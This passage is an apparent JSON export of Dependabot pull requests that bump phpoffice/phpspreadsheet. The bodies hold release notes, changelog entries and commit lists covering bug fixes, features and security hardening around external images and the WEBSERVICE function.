href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep/set the value on Reader _loadSheetsOnly as NULL, courtesy of Restless-ET - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/350\"\u003e#350\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eLoading an Excel 2007 spreadsheet throws an \u0026quot;Autofilter must be set on a range of cells\u0026quot; exception - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e [CodePlex \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/18105\"\u003e#18105\u003c/a\u003e](\u003ca href=\"https://phpexcel.codeplex.com/workitem/18105\"\u003ehttps://phpexcel.codeplex.com/workitem/18105\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix to autoloader registration for backward compatibility with PHP 5.2.0 not accepting the prepend flag - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/388\"\u003e#388\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDOM loadHTMLFile() failing with options flags when using PHP \u0026lt; 5.4.0 - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/384\"\u003e#384\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix for percentage operator in formulae for BIFF Writer - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix to getStyle() call for cell object - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDiscard Autofilters in Excel2007 Reader when filter range isn't a valid range - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix invalid NA return in VLOOKUP - \u003ca href=\"https://github.com/frozenstupidity\"\u003e\u003ccode\u003e@​frozenstupidity\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/423\"\u003e#423\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u0026quot;No Impact\u0026quot; conditional formatting fix for NumberFormat - \u003ca href=\"https://github.com/wiseloren\"\u003e\u003ccode\u003e@​wiseloren\u003c/code\u003e\u003c/a\u003e [CodePlex \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/21454\"\u003e#21454\u003c/a\u003e](\u003ca href=\"https://phpexcel.codeplex.com/workitem/21454\"\u003ehttps://phpexcel.codeplex.com/workitem/21454\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eBug in Excel2003XML reader, parsing merged cells - \u003ca href=\"https://github.com/bobwitlox\"\u003e\u003ccode\u003e@​bobwitlox\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/467\"\u003e#467\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix for CEIL() and FLOOR() when number argument is zero - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/302\"\u003e#302\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eGeneral\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRemove cells cleanly when calling RemoveRow() or RemoveColumn() - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSmall performance improvement for autosize columns - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eChange the getter/setter for zeroHeight to camel case - \u003ca href=\"https://github.com/frost-nzcr4\"\u003e\u003ccode\u003e@​frost-nzcr4\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/379\"\u003e#379\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDefaultValueBinder is too much aggressive when converting string to numeric - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/394\"\u003e#394\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDefault precalculate formulas to false for writers - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet default Cyclic Reference behaviour to 1 to eliminate exception when using a single cyclic iteration in formulae - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSome Excel writer libraries erroneously use Codepage 21010 for UTF-16LE - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/396\"\u003e#396\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMethods to manage most of the existing options for Chart Axis, Major Grid-lines and Minor Grid-lines - \u003ca href=\"https://github.com/WiktrzGE\"\u003e\u003ccode\u003e@​WiktrzGE\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/404\"\u003e#404\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eODS read/write comments in the cell - \u003ca href=\"https://github.com/frost-nzcr4\"\u003e\u003ccode\u003e@​frost-nzcr4\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/403\"\u003e#403\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdditional Mac CJK codepage definitions - \u003ca href=\"https://github.com/CQD\"\u003e\u003ccode\u003e@​CQD\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/389\"\u003e#389\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdate Worksheet.php getStyleByColumnAndRow() to allow a range of cells rather than just a single cell - \u003ca href=\"https://github.com/bolovincev\"\u003e\u003ccode\u003e@​bolovincev\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/269\"\u003e#269\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eNew methods added for testing cell status within merge groups - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandling merge cells in HTML Reader - \u003ccode\u003e@​cifren/MBaker\u003c/code\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/205\"\u003e#205\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHelper to convert basic HTML markup to a Rich Text object - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eImproved Iterators - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003eNew Column Iterator\u003c/li\u003e\n\u003cli\u003eSupport for row and column ranges\u003c/li\u003e\n\u003cli\u003eImproved handling for next/prev\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2f39286e0136673778b7a142b3f0d141e43d1714\"\u003e\u003ccode\u003e2f39286\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/c2cd0e64392438e4c6af082796eb65c1d629a266\"\u003e\u003ccode\u003ec2cd0e6\u003c/code\u003e\u003c/a\u003e Breaking Change When Loading External Images\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/5e3a6a8a7df7a767a89614fa92183959f1ab1e9a\"\u003e\u003ccode\u003e5e3a6a8\u003c/code\u003e\u003c/a\u003e Changelog Update Semantic Versioning Statement\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/7c06eed662cce7ecab88f6f9f7626b443f5285df\"\u003e\u003ccode\u003e7c06eed\u003c/code\u003e\u003c/a\u003e All Readers - Allow or Forbid Fetching of External Images Release129 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4545\"\u003e#4545\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/05b6c4378ddf3e81b460ea645c42b46432c0db25\"\u003e\u003ccode\u003e05b6c43\u003c/code\u003e\u003c/a\u003e Allow Xlsx Reader to Specify ParseHuge Release1291 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4515\"\u003e#4515\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/b94b4e9038d78e9b27600da14045b5f58e771141\"\u003e\u003ccode\u003eb94b4e9\u003c/code\u003e\u003c/a\u003e Removing Columns/Rows Containing Merged Cells (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4473\"\u003e#4473\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/ffbbf615f486e76dc5cfcc32e2d8fdd9caceb327\"\u003e\u003ccode\u003effbbf61\u003c/code\u003e\u003c/a\u003e Allow Spreadsheet Serialization Branch release129 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4405\"\u003e#4405\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/7628348712d4b5a09033611633d6178873000c61\"\u003e\u003ccode\u003e7628348\u003c/code\u003e\u003c/a\u003e Allow php-cs-fixer to Handle Implicit Backslashes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/8f4c54186734e81f51e91d035652c62ea463826c\"\u003e\u003ccode\u003e8f4c541\u003c/code\u003e\u003c/a\u003e Fix TEXT and TIMEVALUE Functions 1.29 Branch (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4352\"\u003e#4352\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9924c6c1d0e407a76063670446eff9632e547c8b\"\u003e\u003ccode\u003e9924c6c\u003c/code\u003e\u003c/a\u003e Update content-hash (composer update --lock)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/1.6.0...1.30.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=1.6.0\u0026new-version=1.30.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/casudinlix/HR/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/casudinlix/HR/pull/1","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/casudinlix%2FHR/issues/1","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/1/packages"},{"uuid":"4176456642","node_id":"PR_kwDOR1dtVc7O2Yk_","number":2,"state":"closed","title":"Bump phpoffice/phpspreadsheet from 1.29.2 to 1.30.2","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-28T23:22:48.000Z","author_association":null,"state_reason":null,"created_at":"2026-03-31T06:55:49.000Z","updated_at":"2026-04-28T23:22:49.000Z","time_to_close":2478419,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"1.29.2","new_version":"1.30.2","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 1.29.2 to 1.30.2.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.30.2\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.30.1\u003c/h2\u003e\n\u003ch3\u003eFunctionally Frozen\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExcept for security changes, no further maintenance will be applied to this branch.\nYou are encouraged to upgrade to a maintained branch as soon as possible.\nMaintained branches are master (preferred - version is 5.2.0 as of the date when this is being written), release390 (current version is 3.10.1), and release222 (2.4.1).\u003c/li\u003e\n\u003cli\u003eOf particular note is that this branch should not run under Php 8.5+, and will \u003cem\u003enot\u003c/em\u003e be updated to avoid deprecation notices introduced with Php 8.5.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.30.0\u003c/h2\u003e\n\u003ch3\u003eBreaking Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImages will be loaded from an external source (e.g. \u003ca href=\"http://example.com/img.png\"\u003ehttp://example.com/img.png\u003c/a\u003e) only if the reader is explicitly set to allow it via \u003ccode\u003e$reader-\u0026gt;setAllowExternalImages(true)\u003c/code\u003e. We do not believe that loading of external images is a widely used feature. This is a necessary change for security purposes. It unfortunately breaks Semantic Versioning for reasons described above; there is no way to start a new major version for this branch.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.29.12\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd to all readers the option to allow or forbid fetching external images. This is unconditionally allowed now. The default will be set to \u0026quot;allow\u0026quot;, so no code changes are necessary. However, we are giving consideration to changing the default.[PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4545\"\u003e#4545\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4545\"\u003ePHPOffice/PhpSpreadsheet#4545\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.29.11\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow php-cs-fixer to Handle Implicit Backslashes.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow spreadsheet to be serialized. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4405\"\u003e#4405\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4405\"\u003ePHPOffice/PhpSpreadsheet#4405\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTEXT and TIMEVALUE functions. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4249\"\u003e#4249\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4249\"\u003ePHPOffice/PhpSpreadsheet#4249\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4352\"\u003e#4352\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4352\"\u003ePHPOffice/PhpSpreadsheet#4352\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoving Columns/Rows Containing Merged Cells. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4465\"\u003e#4465\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4465\"\u003ePHPOffice/PhpSpreadsheet#4465\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow Xlsx Reader to Specify ParseHuge. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4260\"\u003e#4260\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4260\"\u003ePHPOffice/PhpSpreadsheet#4260\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4515\"\u003e#4515\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4515\"\u003ePHPOffice/PhpSpreadsheet#4515\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.29.10\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow version 1 and 2 of \u003ccode\u003ecomposer/pcre\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/1.30.2/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-01-10 - 1.30.2\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-10-25 - 1.30.1\u003c/h2\u003e\n\u003ch3\u003eFunctionally Frozen\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExcept for security changes, no further maintenance will be applied to this branch.\nYou are encouraged to upgrade to a maintained branch as soon as possible.\nMaintained branches are master (preferred - version is 5.4.0 as of the date when this is being written), 3.10.x (current version is 3.10.3), and 2.4.x (2.4.3).\u003c/li\u003e\n\u003cli\u003eOf particular note is that this branch should not run under Php 8.5+, and will \u003cem\u003enot\u003c/em\u003e be updated to avoid deprecation notices introduced with Php 8.5.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-08-10 - 1.30.0\u003c/h2\u003e\n\u003ch3\u003eBreaking Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImages will be loaded from an external source (e.g. \u003ca href=\"http://example.com/img.png\"\u003ehttp://example.com/img.png\u003c/a\u003e) only if the reader is explicitly set to allow it via \u003ccode\u003e$reader-\u0026gt;setAllowExternalImages(true)\u003c/code\u003e. We do not believe that loading of external images is a widely used feature. This is a necessary change for security purposes. It unfortunately breaks Semantic Versioning for reasons described above; there is no way to start a new major version for this branch.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e2025-07-23 - 1.29.12\u003c/h1\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd to all readers the option to allow or forbid fetching external images. This is unconditionally allowed now. The default will be set to \u0026quot;allow\u0026quot;, so no code changes are necessary. However, we are giving consideration to changing the default.[PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4545\"\u003e#4545\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4545\"\u003ePHPOffice/PhpSpreadsheet#4545\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e2025-06-22 - 1.29.11\u003c/h1\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow php-cs-fixer to Handle Implicit Backslashes.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow spreadsheet to be serialized. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4405\"\u003e#4405\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4405\"\u003ePHPOffice/PhpSpreadsheet#4405\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTEXT and TIMEVALUE functions. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4249\"\u003e#4249\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4249\"\u003ePHPOffice/PhpSpreadsheet#4249\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4352\"\u003e#4352\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4352\"\u003ePHPOffice/PhpSpreadsheet#4352\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoving Columns/Rows Containing Merged Cells. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4465\"\u003e#4465\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4465\"\u003ePHPOffice/PhpSpreadsheet#4465\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow Xlsx Reader to Specify ParseHuge. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4260\"\u003e#4260\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4260\"\u003ePHPOffice/PhpSpreadsheet#4260\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4515\"\u003e#4515\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4515\"\u003ePHPOffice/PhpSpreadsheet#4515\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/09cdde5e2f078b9a3358dd217e2c8cb4dac84be2\"\u003e\u003ccode\u003e09cdde5\u003c/code\u003e\u003c/a\u003e Instantiator Problem (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4778\"\u003e#4778\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4ad82d2ffcba5de36d5790f7a88910e977a886e3\"\u003e\u003ccode\u003e4ad82d2\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/1ca2b80689ec464bd66e8cde654c278cb6f2d101\"\u003e\u003ccode\u003e1ca2b80\u003c/code\u003e\u003c/a\u003e Changes to WEBSERVICE R129 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4758\"\u003e#4758\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/e86246354c7e79771705945377c743edc1246435\"\u003e\u003ccode\u003ee862463\u003c/code\u003e\u003c/a\u003e Update README With New Branch Names\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/fa8257a579ec623473eabfe49731de5967306c4c\"\u003e\u003ccode\u003efa8257a\u003c/code\u003e\u003c/a\u003e Prep Work for 1.30.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/5d81305a177b3932158d087f9a6dcf8f970c59b2\"\u003e\u003ccode\u003e5d81305\u003c/code\u003e\u003c/a\u003e Update Readme release1291 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4612\"\u003e#4612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/bc373185caf4e074478b23f3df0cdbc42a366d79\"\u003e\u003ccode\u003ebc37318\u003c/code\u003e\u003c/a\u003e Branch release1291 Will 